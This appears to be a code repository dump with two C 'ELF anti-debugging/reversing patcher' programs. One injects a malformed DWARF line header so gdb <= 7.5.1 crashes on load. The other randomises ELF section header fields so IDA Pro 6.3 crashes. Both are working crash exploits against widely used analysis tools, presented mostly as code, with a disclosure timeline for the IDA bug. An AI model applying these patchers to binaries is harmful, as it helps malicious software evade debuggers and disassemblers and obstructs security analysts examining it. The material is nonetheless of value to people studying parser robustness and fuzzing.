debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000; 264 | debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001; 265 | debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000; 266 | 267 | debug_line_sechdr.sh_size = sizeof(dwarf_line_header); 268 | debug_info_sechdr.sh_size = sizeof(debug_info); 269 | debug_str_sechdr.sh_size = sizeof(debug_str); 270 | debug_abbrev_sechdr.sh_size = sizeof(debug_abbrev); 271 | 272 | // Relative offsets to shstrtab_offset 273 | debug_line_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset; 274 | debug_info_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset 275 | + strlen(".debug_line") + 1; 276 | debug_str_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset 277 | + strlen(".debug_line") + 1 278 | + strlen(".debug_info") + 1; 279 | debug_abbrev_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset 280 | + strlen(".debug_line") + 1 281 | + strlen(".debug_info") + 1 282 | + strlen(".debug_str") + 1; 283 | 284 | // Absolute offsets at the end of the file 285 | debug_line_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len; 286 | debug_info_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len 287 | + debug_line_sechdr.sh_size; 288 | debug_str_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len 289 | + debug_line_sechdr.sh_size 290 | + debug_info_sechdr.sh_size; 291 | debug_abbrev_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len 292 | + debug_line_sechdr.sh_size 293 | + debug_info_sechdr.sh_size 294 | + debug_str_sechdr.sh_size; 295 | 296 | // Step 3 297 | Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr); 298 | 299 | printf("[*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point); 300 | 301 | // Step 4 302 | pht = (Elf32_Phdr *) (elfptr + header->e_phoff); 303 | 304 | if(header->e_phoff >= shdr_insertion_point){ 305 | header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject; 306 | 307 | printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff); 308 | } else 309 | printf("[-] The Program Header Table is before the insertion point.\n"); 310 | 311 | 312 | for(k = 0; k < header->e_phnum; k++, pht++) 313 | if(pht->p_offset >= shdr_insertion_point){ 314 | pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject; 315 | 316 | printf("[+] The Program Header[ %d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset); 317 | } 318 | 319 | // Step 5 320 | header->e_shnum += n_sections_to_inject; 321 | 322 | // Step 6 323 | if(msync(elfptr, 0, MS_SYNC) == -1){ 324 | perror("msync"); 325 | return 0; 326 | } 327 | 328 | close(fd); 329 | 330 | // Step 7 331 | if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){ 332 | perror("creat"); 333 | return 0; 334 | } 335 | 336 | if(write(tmpfd, elfptr, shdr_insertion_point) == -1) 337 | return 0; 338 | 339 | printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n"); 340 | if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1) 341 | return 0; 342 | 343 | printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n"); 344 | if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1) 345 | return 0; 346 | 347 | printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n"); 348 | if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1) 349 | return 0; 350 | 351 | printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n"); 352 | if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1) 353 | return 0; 354 | 355 | // Copy the rest of the original file 356 | if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == -1) 357 | return 0; 358 | 359 | 360 | // Step 8 361 | if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1) 362 | return 0; 363 | 364 | if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1) 365 | return 0; 366 | 367 | if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1) 368 | return 0; 369 | 370 | if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1) 371 | return 0; 372 | 373 | // Step 9 374 | printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n"); 375 | if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1) 376 | return 0; 377 | 378 | printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n"); 379 | if(write(tmpfd, debug_info, sizeof(debug_info)) == -1) 380 | return 0; 381 | 382 | if(write(tmpfd, debug_str, sizeof(debug_str)) == -1) 383 | return 0; 384 | 385 | if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1) 386 | return 0; 387 | 388 | close(tmpfd); 389 | 390 | return 1; 391 | } 392 | 393 | int main(int argc, char **argv) 394 | { 395 | printf("######################################################\n"); 396 | printf("# #\n"); 397 | printf("# gdb (GNU debugger) <= 7.5.1 #\n"); 398 | printf("# (crash due a NULL pointer dereference) #\n"); 399 | printf("# #\n"); 400 | printf("# ELF anti-debugging/reversing patcher #\n"); 401 | printf("# -nitr0us- #\n"); 402 | printf("# #\n"); 403 | printf("######################################################\n\n"); 404 | 405 | if(argc < 2){ 406 | fprintf(stderr, "Usage: %s \n", argv[0]); 407 | exit(-1); 408 | } 409 | 410 | if((fd = open(argv[1], O_RDWR)) == -1){ 411 | perror("open"); 412 | exit(-1); 413 | } 414 | 415 | if(!isELF(fd)){ 416 | close(fd); 417 | exit(-1); 418 | } 419 | 420 | if(fstat(fd, &statinfo) == -1){ 421 | perror("stat"); 422 | close(fd); 423 | exit(-1); 424 | } 425 | 426 | if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ 427 | perror("mmap"); 428 | close(fd); 429 | exit(-1); 430 | } 431 | 432 | header = (Elf32_Ehdr *) (elfptr); 433 | 434 | if(header->e_shoff == 0){ 435 | fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]); 436 | close(fd); 437 | munmap(elfptr, 0); 438 | exit(-1); 439 | } 440 | 441 | sht = (Elf32_Shdr *) (elfptr + header->e_shoff); 442 | 443 | printf("[*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size); 444 | printf("[-] Ehdr->e_shnum: %5d (0x%.4x)\n", header->e_shnum, header->e_shnum); 445 | printf("[-] Ehdr->e_shoff: %5d (0x%.4x)\n", header->e_shoff, header->e_shoff); 446 | printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx); 447 | 448 | // Find the Section Header corresponding to the 449 | // "Section Header String Table" to get the file offset from there 450 | shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr)); 451 | if((shstrtab_size = shstrtab_section->sh_size) > 0) 452 | if(!(shstrtab_offset = shstrtab_section->sh_offset)){ 453 | fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n"); 454 | close(fd); 455 | munmap(elfptr, 0); 456 | exit(-1); 457 | } 458 | 459 | printf("[-] shstrtab_offset: %5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset); 460 | printf("[-] shstrtab_size : %5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size); 461 | 462 | printf("[*] Looking for the '.debug_line' section...\n\n"); 463 | 464 | if(!(debug_line_offset = findDebugLineSection())){ 465 | printf("[-] '.debug_line' section was not found in the Section Header Table !\n"); 466 | printf("[*] Adding the '.debug_line' with the payload inside\n\n"); 467 | 468 | if(!addDebugLineSection()){ 469 | fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n"); 470 | close(fd); 471 | munmap(elfptr, 0); 472 | exit(-1); 473 | } 474 | 475 | printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n"); 476 | 477 | if(rename("modified_elf.tmp", argv[1]) == -1) 478 | perror("rename"); 479 | } else { 480 | printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset); 481 | printf("[*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size); 482 | 483 | if(s_debug_line_size < sizeof(dwarf_line_header)){ 484 | fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); 485 | exit(-1); 486 | } else 487 | printf("[*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); 488 | 489 | printf("[*] Overwriting its content with the payload\n\n"); 490 | 491 | memcpy(elfptr + debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header)); 492 | } 493 | 494 | // Synchronize the ELF in file system with the previous memory mapped 495 | if(msync(elfptr, 0, MS_SYNC) == -1){ 496 | perror("msync"); 497 | close(fd); 498 | exit(-1); 499 | } 500 | 501 | close(fd); 502 | munmap(elfptr, 0); 503 | 504 | printf("[*] \"%s\" is now completely patched\n", argv[1]); 505 | printf("[*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]); 506 | 507 | return 0; 508 | } 509 | 510 | int isELF(int fd) 511 | { 512 | Elf32_Ehdr header; 513 | 514 | if(read(fd, &header, sizeof(header)) == -1){ 515 | perror("isELF(): read"); 516 | return 0; 517 | } 518 | 519 | /* magic number verification */ 520 | if(header.e_ident[EI_MAG0] != ELFMAG0 || 521 | header.e_ident[EI_MAG1] != 'E' || 522 | header.e_ident[EI_MAG2] != 'L' || 523 | header.e_ident[EI_MAG3] != 'F'){ 524 | fprintf(stderr, "The argument given is not an ELF file !\n"); 525 | return 0; 526 | } 527 | 528 | /* 32-bit class verification */ 529 | if(header.e_ident[EI_CLASS] != ELFCLASS32){ 530 | fprintf(stderr, "Only 32-bit ELF files supported !\n"); 531 | return 0; 532 | } 533 | 534 | /* little-endian verification */ 535 | if(header.e_ident[EI_DATA] != ELFDATA2LSB){ 536 | fprintf(stderr, "Only little-endian ELF files supported !\n"); 537 | return 0; 538 | } 539 | 540 | return 1; 541 | } 542 | -------------------------------------------------------------------------------- /ELFAntiDebuggingTools/ida_63_elf_shield.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * IDA Pro 6.3 (crash due an internal error) 4 | * ELF anti-debugging/reversing patcher 5 | * 6 | * - nitr0us [ http://twitter.com/nitr0usmx ] 7 | * 8 | * Tested under: 9 | * IDA Pro Starter License 6.3.120531 (Mac OS X) 10 | * IDA Pro Demo 6.3.120730 (Ubuntu Linux 9.04) 11 | * IDA Pro Demo 6.3.120730 (Mac OS X 10.7.3) 12 | * IDA Pro Demo 6.3.120730 (Windows Vista Home Premium SP2) 13 | * 14 | * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development) 15 | * 16 | * Timeline: 17 | * 21/11/2012 The bug was found on IDA Demo 6.3 18 | * 22/11/2012 The bug was tested on IDA Pro Starter License 6.3.120531 (32-bit) 19 | * 22/11/2012 The bug was reported through the official Hex-Rays contact emails 20 | * 23/11/2012 Hex-Rays replied and agreed that the bug leads to an unrecoverable 21 | * state and it will be fixed on the next release 22 | * 23 | **************** TECHNICAL DETAILS *********************** 24 | nitr0us@burial:~$ gdb -q idaq 25 | (gdb) r a.out 26 | (no debugging symbols found) 27 | 28 | Program received signal SIGTRAP, Trace/breakpoint trap. 29 | [Switching to Thread 0xb6860760 (LWP 3638)] 30 | 0xb55f7694 in default_notification_handler (reader=@0xbfbffae0, 31 | notif=reader_t::err_shstrndx) at reader.cpp:33 32 | 33 reader.cpp: No such file or directory. 33 | in reader.cpp 34 | Current language: auto; currently c++ 35 | (gdb) 36 | 37 | The root cause of the problem is that there's no validation to 38 | verify if e_shstrndx > e_shnum before referencing it. 39 | 40 | ********************************************************** 41 | * 42 | * [Compilation] $ gcc ida_63_elf_shield.c -o ida_63_elf_shield -Wall 43 | * 44 | * http://chatsubo-labs.blogspot.com 45 | * http://www.brainoverflow.org 46 | * 47 | */ 48 | 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | 58 | #define EI_NIDENT 16 59 | #define ELFCLASS32 1 /* 32-bit objects */ 60 | #define ELFDATA2LSB 1 /* 2's complement, little endian */ 61 | 62 | const char e_magic[4] = { 0x7f, 'E', 'L', 'F' }; 63 | 64 | typedef uint16_t Elf32_Half; 65 | typedef uint32_t Elf32_Word; 66 | typedef uint32_t Elf32_Addr; 67 | typedef uint32_t Elf32_Off; 68 | 69 | typedef struct 70 | { 71 | unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ 72 | Elf32_Half e_type; /* Object file type */ 73 | Elf32_Half e_machine; /* Architecture */ 74 | Elf32_Word e_version; /* Object file version */ 75 | Elf32_Addr e_entry; /* Entry point virtual address */ 76 | Elf32_Off e_phoff; /* Program header table file offset */ 77 | Elf32_Off e_shoff; /* Section header table file offset */ 78 | Elf32_Word e_flags; /* Processor-specific flags */ 79 | Elf32_Half e_ehsize; /* ELF header size in bytes */ 80 | Elf32_Half e_phentsize; /* Program header table entry size */ 81 | Elf32_Half e_phnum; /* Program header table entry count */ 82 | Elf32_Half e_shentsize; /* Section header table entry size */ 83 | Elf32_Half e_shnum; /* Section header table entry count */ 84 | Elf32_Half e_shstrndx; /* Section header string table index */ 85 | } Elf32_Ehdr; 86 | 87 | int isELF(int fd); 88 | 89 | int main(int argc, char **argv) 90 | { 91 | Elf32_Ehdr *header; 92 | Elf32_Half new_shnum; 93 | Elf32_Half new_shstrndx; 94 | int fd; 95 | 96 | printf("######################################################\n"); 97 | printf("# #\n"); 98 | printf("# IDA Pro 6.3 - ELF anti-debugging/reversing patcher #\n"); 99 | printf("# -nitr0us- #\n"); 100 | printf("# #\n"); 101 | printf("######################################################\n\n"); 102 | 103 | if(argc < 2){ 104 | fprintf(stderr, "Usage: %s \n", argv[0]); 105 | exit(-1); 106 | } 107 | 108 | if((fd = open(argv[1], O_RDWR)) == -1){ 109 | perror("open"); 110 | exit(-1); 111 | } 112 | 113 | if(!isELF(fd)){ 114 | close(fd); 115 | exit(-1); 116 | } 117 | 118 | // Mapping to memory only the necessary bytes [sizeof(header)] 119 | if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ 120 | perror("mmap"); 121 | close(fd); 122 | exit(-1); 123 | } 124 | 125 | printf("[*] The ELF file originally has:\n"); 126 | printf("[-] Ehdr->e_shnum: %5d (0x%.4x)\n", header->e_shnum, header->e_shnum); 127 | printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", header->e_shstrndx, header->e_shstrndx); 128 | 129 | printf("[*] Patching \"%s\" with new random() values...\n\n", argv[1]); 130 | 131 | srand(time(NULL)); // seed for rand() 132 | 133 | new_shnum = (Elf32_Half) rand() % 0x1337; 134 | new_shstrndx = (Elf32_Half) 0; 135 | 136 | while(new_shstrndx < new_shnum) 137 | new_shstrndx = (Elf32_Half) rand() % 0xDEAD; 138 | 139 | header->e_shnum = new_shnum; 140 | header->e_shstrndx = new_shstrndx; 141 | 142 | // Synchronize the ELF in file system with the previous memory mapped 143 | if(msync(NULL, 0, MS_SYNC) == -1){ 144 | perror("msync"); 145 | close(fd); 146 | exit(-1); 147 | } 148 | 149 | close(fd); 150 | munmap(header, 0); 151 | 152 | printf("[*] The patched ELF file now has:\n"); 153 | printf("[+] Ehdr->e_shnum: %5d (0x%.4x)\n", new_shnum, new_shnum); 154 | printf("[+] Ehdr->e_shstrndx: %5d (0x%.4x)\n\n", new_shstrndx, new_shstrndx); 155 | 156 | printf("[*] IDA Pro 6.3 should crash trying to load \"%s\"\n", argv[1]); 157 | 158 | return 0; 159 | } 160 | 161 | int isELF(int fd) 162 | { 163 | Elf32_Ehdr header; 164 | 165 | if(read(fd, &header, sizeof(header)) == -1){ 166 | perror("isELF(): read"); 167 | return 0; 168 | } 169 | 170 | /* magic number verification */ 171 | if(memcmp(header.e_ident, e_magic, 4) != 0){ 172 | fprintf(stderr, "The argument given is not an ELF file !\n"); 173 | return 0; 174 | } 175 | 176 | /* 32-bit class verification */ 177 | if(header.e_ident[4] != ELFCLASS32){ 178 | fprintf(stderr, "Only 32-bit ELF files supported !\n"); 179 | return 0; 180 | } 181 | 182 | /* little-endian verification */ 183 | if(header.e_ident[5] != ELFDATA2LSB){ 184 | fprintf(stderr, "Only little-endian ELF files supported !\n"); 185 | return 0; 186 | } 187 | 188 | return 1; 189 | } 190 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | FileFormatFuzzing 2 | ================= --------------------------------------------------------------------------------